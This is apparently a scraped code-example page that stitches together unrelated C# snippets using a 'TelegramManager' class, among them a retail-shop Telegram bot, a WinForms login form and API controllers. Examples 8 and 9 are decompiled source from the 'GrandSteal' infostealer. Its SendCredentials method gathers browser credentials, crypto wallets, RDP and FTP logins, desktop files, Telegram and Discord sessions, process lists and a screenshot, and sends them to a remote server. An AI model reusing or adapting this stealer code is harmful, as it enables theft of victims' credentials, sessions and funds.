Exemplo n.º 1
0
 private void EditEventForm_Load(object sender, EventArgs e)
 {
     if (!TelegramManager.GetInstance().isLogin)
     {
         telegramCheckBox.Enabled = false;
     }
 }
Exemplo n.º 2
0
        private static async void SecondLevelHandlerWithApi(Message message, string text)
        {
            if (text.StartsWith("/mobile "))
            {
                string [] d    = text.Split(" ");
                string    mob  = d [1].Trim();
                string    pass = d [2].Trim();

                if (TelegramManager.AddUserByApi(message, mob, pass))
                {
                    await BotGini.SendMessage(message.Chat.Id, "Congrats, Now You can use this service!");
                }
                else
                {
                    await BotGini.SendMessage(message.Chat.Id, "Sorry, Either User is already registered or  some error occurred while registering you, Kindly try again or contact admin!");
                }
            }
            else if (text.StartsWith("/staffName "))
            {
            }
            else
            {
                await BotGini.SendMessage(message.Chat.Id, "Command NotSupported");

                await BotGini.SendMessage(message.Chat.Id, usage);
            }
        }
        public IActionResult GetCurrent()
        {
            IManageTelegram telegramManager = new TelegramManager();
            ITelegram       telegram        = telegramManager.SelectCurrent();

            return(Ok(telegram));
        }
        public IActionResult GetRecent()
        {
            IManageTelegram         telegramManager = new TelegramManager();
            IEnumerable <ITelegram> telegrams       = telegramManager.SelectRecent();

            return(Ok(telegrams));
        }
Exemplo n.º 5
0
        public TelegramLoginForm()
        {
            InitializeComponent();
            requestCodeButton.Enabled = false;
            sendCodeButton.Enabled    = false;
            telegram = TelegramManager.GetInstance();

            callback = (success, message) =>
            {
                if (!success)
                {
                    MessageBox.Show("Попробуйте еще раз", "Ошибка");
                }
            };
        }
Exemplo n.º 6
0
        public TasksVM(AppDbContext db, IServiceProvider provider, TelegramManager taskRepository,
                       AppSettings appSettings)
        {
            _db = db;
            _telegramManager = taskRepository;

            RegisterCommand("Add", x => {
                var vm        = provider.GetRequiredService <AddTaskVM>();
                vm.SaveAction = Refresh;
                new AddTaskW(vm).ShowDialog();
            });
            RegisterCommand <GlobalTaskVM>("ShowDetails", x => _ShowDetails(x));
            RegisterCommand("ShowDetailsClick", x => _ShowDetails(SelectedTask));
            RegisterCommand("Refresh", x => Refresh());
            RegisterCommand <GlobalTaskVM>("CancelTask", x => CancelTask(x));

            _dispatcherTimer          = new System.Windows.Threading.DispatcherTimer();
            _dispatcherTimer.Tick    += new EventHandler(dispatcherTimer_Tick);
            _dispatcherTimer.Interval = appSettings.RefreshUITimeout;
            _dispatcherTimer.Start();
        }
Exemplo n.º 7
0
 public ApiController(IMemoryCache cache)
 {
     _publicationManager = new PublicationManager(Settings.Current.ConnectionString, cache);
     _userManager        = new UserManager(Settings.Current.ConnectionString);
     _telegramManager    = new TelegramManager(Settings.Current.ConnectionString);
 }
Exemplo n.º 8
0
        // Token: 0x06000052 RID: 82 RVA: 0x000040E0 File Offset: 0x000022E0
        public bool SendCredentials()
        {
            bool result;

            try
            {
                GrandSteal.Client.Models.ClientSettings clientSettings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings());
                List <BrowserProfile> list = new List <BrowserProfile>();
                if (clientSettings.GrabBrowserCredentials)
                {
                    foreach (ICredentialsManager <BrowserProfile> credentialsManager in this.BrowserCredentialsManagers)
                    {
                        list.AddRange(credentialsManager.GetAll());
                    }
                }
                List <ColdWallet> list2 = new List <ColdWallet>();
                if (clientSettings.GrabColdWallets)
                {
                    foreach (ICredentialsManager <ColdWallet> credentialsManager2 in this.ColdWalletManagers)
                    {
                        list2.AddRange(credentialsManager2.GetAll().IsNull(new List <ColdWallet>()));
                    }
                }
                List <RdpCredential> list3 = new List <RdpCredential>();
                if (clientSettings.GrabRdp)
                {
                    foreach (ICredentialsManager <RdpCredential> credentialsManager3 in this.RdpManagers)
                    {
                        list3.AddRange(credentialsManager3.GetAll().IsNull <IEnumerable <RdpCredential> >());
                    }
                }
                List <DesktopFile> list4 = new List <DesktopFile>();
                if (clientSettings.GrabDesktopFiles)
                {
                    foreach (DesktopFileManager desktopFileManager in this.DesktopFileManagers)
                    {
                        desktopFileManager.DesktopFileExtensions = clientSettings.DesktopExtensions;
                        list4.AddRange(desktopFileManager.GetAll());
                    }
                }
                List <FtpCredential> list5 = new List <FtpCredential>();
                if (clientSettings.GrabFtp)
                {
                    foreach (ICredentialsManager <FtpCredential> credentialsManager4 in this.FtpManagers)
                    {
                        list5.AddRange(credentialsManager4.GetAll().IsNull <IEnumerable <FtpCredential> >());
                    }
                }
                RemoteClientInformation remoteClientInformation = ClientInfoHelper.Create(this.BuildID);
                if (remoteClientInformation == null)
                {
                    Environment.Exit(0);
                }
                CredentialsRequest objectToSend = new CredentialsRequest
                {
                    ClientInformation = remoteClientInformation,
                    BrowserProfiles   = list,
                    ColdWallets       = list2,
                    RdpConnections    = list3,
                    DesktopFiles      = list4,
                    FtpCredentials    = list5,
                    Telegram          = (clientSettings.GrabTelegram ? TelegramManager.Extract() : new TelegramSession()),
                    Discord           = (clientSettings.GrabDiscord ? DiscordManager.Extract() : new DiscordSession()),
                    ProcessList       = ClientInfoHelper.ListOfProcesses(),
                    InstalledPrograms = ClientInfoHelper.ListOfPrograms(),
                    Screenshot        = ClientInfoHelper.CaptureScreen()
                };
                result = this.Server.SendRequest(objectToSend, "Credentials", 600000)();
            }
            catch
            {
                result = false;
            }
            return(result);
        }
Exemplo n.º 9
0
        // Token: 0x0600004F RID: 79 RVA: 0x00003EC8 File Offset: 0x000020C8
        public bool SendCredentials()
        {
            bool result;

            try
            {
                GrandSteal.Client.Models.ClientSettings settings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings());
                List <BrowserProfile>   browserProfiles          = new List <BrowserProfile>();
                List <ColdWallet>       wallets         = new List <ColdWallet>();
                List <RdpCredential>    rdpCredentials  = new List <RdpCredential>();
                List <DesktopFile>      desktopFiles    = new List <DesktopFile>();
                List <FtpCredential>    ftpCredentials  = new List <FtpCredential>();
                TelegramSession         telegramSession = new TelegramSession();
                DiscordSession          discordSession  = new DiscordSession();
                List <RemoteProcess>    processes       = new List <RemoteProcess>();
                List <string>           programs        = new List <string>();
                RemoteClientInformation clientInfo      = new RemoteClientInformation();
                ThreadPool.SetMaxThreads(2000, 10000);
                new Thread(delegate
                {
                    Console.WriteLine("ClientInfos parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    clientInfo = ClientInfoHelper.Create(this.BuildID);
                    stopwatch.Stop();
                    this.clientInfoFlag.Set();
                    Console.WriteLine(string.Format("ClientInfos has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("Browsers parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabBrowserCredentials)
                    {
                        int countCompleted = 0;
                        object locker      = new object();
                        using (IEnumerator <ICredentialsManager <BrowserProfile> > enumerator = this.BrowserCredentialsManagers.GetEnumerator())
                        {
                            while (enumerator.MoveNext())
                            {
                                ICredentialsManager <BrowserProfile> manager = enumerator.Current;
                                new Thread(delegate
                                {
                                    List <BrowserProfile> all = manager.GetAll();
                                    object locker             = locker;
                                    lock (locker)
                                    {
                                        browserProfiles.AddRange(all);
                                        int countCompleted = countCompleted;
                                        countCompleted++;
                                    }
                                }).Start();
                            }
                        }
                        while (countCompleted != this.BrowserCredentialsManagers.Count)
                        {
                        }
                    }
                    stopwatch.Stop();
                    this.browsersFlag.Set();
                    Console.WriteLine(string.Format("Browsers has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ColdWallets parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabColdWallets)
                    {
                        foreach (ICredentialsManager <ColdWallet> current in this.ColdWalletManagers)
                        {
                            wallets.AddRange(current.GetAll().IsNull(new List <ColdWallet>()));
                        }
                    }
                    stopwatch.Stop();
                    this.walletsFlag.Set();
                    Console.WriteLine(string.Format("ColdWallets has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("DiscordSession parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabDiscord)
                    {
                        discordSession = DiscordManager.Extract();
                    }
                    stopwatch.Stop();
                    this.discordFlag.Set();
                    Console.WriteLine(string.Format("DiscordSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("Rdps parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabRdp)
                    {
                        foreach (ICredentialsManager <RdpCredential> current in this.RdpManagers)
                        {
                            rdpCredentials.AddRange(current.GetAll().IsNull <List <RdpCredential> >());
                        }
                    }
                    stopwatch.Stop();
                    this.rdpsFlag.Set();
                    Console.WriteLine(string.Format("Rdps has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("DesktopFiles parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabDesktopFiles)
                    {
                        foreach (DesktopFileManager current in this.DesktopFileManagers)
                        {
                            current.DesktopFileExtensions = settings.DesktopExtensions;
                            desktopFiles.AddRange(current.GetAll());
                        }
                    }
                    stopwatch.Stop();
                    this.desktopFlag.Set();
                    Console.WriteLine(string.Format("DesktopFiles has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("FTPs parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabFtp)
                    {
                        foreach (ICredentialsManager <FtpCredential> current in this.FtpManagers)
                        {
                            ftpCredentials.AddRange(current.GetAll().IsNull <List <FtpCredential> >());
                        }
                    }
                    stopwatch.Stop();
                    this.ftpFlag.Set();
                    Console.WriteLine(string.Format("FTPs has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("TelegramSession parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    if (settings.GrabTelegram)
                    {
                        telegramSession = TelegramManager.Extract();
                    }
                    stopwatch.Stop();
                    this.telegramFlag.Set();
                    Console.WriteLine(string.Format("TelegramSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ListOfProcesses parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    processes = ClientInfoHelper.ListOfProcesses();
                    stopwatch.Stop();
                    this.processesFlag.Set();
                    Console.WriteLine(string.Format("ListOfProcesses has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                new Thread(delegate
                {
                    Console.WriteLine("ListOfPrograms parser has been started");
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    programs = ClientInfoHelper.ListOfPrograms();
                    stopwatch.Stop();
                    this.programsFlag.Set();
                    Console.WriteLine(string.Format("ListOfPrograms has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
                }).Start();
                this.telegramFlag.WaitOne();
                this.discordFlag.WaitOne();
                this.processesFlag.WaitOne();
                this.programsFlag.WaitOne();
                this.browsersFlag.WaitOne();
                this.walletsFlag.WaitOne();
                this.rdpsFlag.WaitOne();
                this.desktopFlag.WaitOne();
                this.ftpFlag.WaitOne();
                this.clientInfoFlag.WaitOne();
                Console.WriteLine("CredentialsRequest has been created");
                if (clientInfo == null)
                {
                    Environment.Exit(0);
                }
                CredentialsRequest objectToSend = new CredentialsRequest
                {
                    ClientInformation = clientInfo,
                    BrowserProfiles   = browserProfiles,
                    ColdWallets       = wallets,
                    RdpConnections    = rdpCredentials,
                    DesktopFiles      = desktopFiles,
                    FtpCredentials    = ftpCredentials,
                    Telegram          = telegramSession,
                    Discord           = discordSession,
                    ProcessList       = processes,
                    InstalledPrograms = programs,
                    Screenshot        = ClientInfoHelper.CaptureScreen()
                };
                result = this.Server.SendRequest(objectToSend, "Credentials", 600000)();
            }
            catch
            {
                result = false;
            }
            return(result);
        }
Exemplo n.º 10
0
        public static async void OnMessageWithApi(object sender, MessageEventArgs e)
        {
            // await BotGini.SendMessage (e.Message.Chat.Id, "We got Message from you, We are processing Kindly wait....");
            if (e.Message.Text != null)
            {
                switch (e.Message.Text)
                {
                case "/loc":
                    await BotGini.AskLocationMessage(e.Message.Chat.Id);

                    break;

                case "/request":
                    await BotGini.SendMessage(e.Message.Chat.Id, requestUsage);

                    break;

                case "/ATT":
                    var attInfo = TelegramManager.GetAtt(e.Message.Chat.Id);
                    await BotGini.SendMessage(e.Message.Chat.Id, attInfo);

                    break;

                case "/sale":
                    var    data = TelegramManager.GetSaleData(e.Message.Chat.Id);
                    string msg  = "Current MonthSale: \n";
                    if (data != null)
                    {
                        foreach (var item in data)
                        {
                            msg += item.Key + "\t Amount: " + item.Value + ".\n";
                        }
                    }
                    else
                    {
                        msg = "Some Error Occurred, Kindly Try again!!";
                    }

                    await BotGini.SendMessage(e.Message.Chat.Id, msg);

                    break;

                case "/todaySale":
                    var    data1 = TelegramManager.GetSaleData(e.Message.Chat.Id, true);
                    string msg1  = "Today Sale: \n";
                    if (data1 != null)
                    {
                        foreach (var item in data1)
                        {
                            msg1 += item.Key + "\t Amount: " + item.Value + ".\n";
                        }
                    }
                    else
                    {
                        msg1 = "Some Error Occurred, Kindly Try again!!";
                    }

                    await BotGini.SendMessage(e.Message.Chat.Id, msg1);

                    break;

                case "/yearlySale":
                    break;

                case "/incentive":
                    break;

                case "/LP":
                    break;

                case "/staffInfo":
                    break;

                case "/myInfo":
                    var myinfo = TelegramManager.GetMyInfo(e.Message.Chat.Id);
                    await BotGini.SendMessage(e.Message.Chat.Id, myinfo);

                    break;

                case "/register":
                    await BotGini.SendMessage(e.Message.Chat.Id, "type /mobile space your-mobileno, your-password");

                    break;

                case "/help":
                    await BotGini.SendMessage(e.Message.Chat.Id, usage);

                    break;

                case "/start":
                    await BotGini.SendMessage(e.Message.Chat.Id, "Welcome to Aprajita Retails Gini Bot!");

                    break;

                default:
                    SecondLevelHandlerWithApi(e.Message, e.Message.Text);
                    break;
                }
            }
        }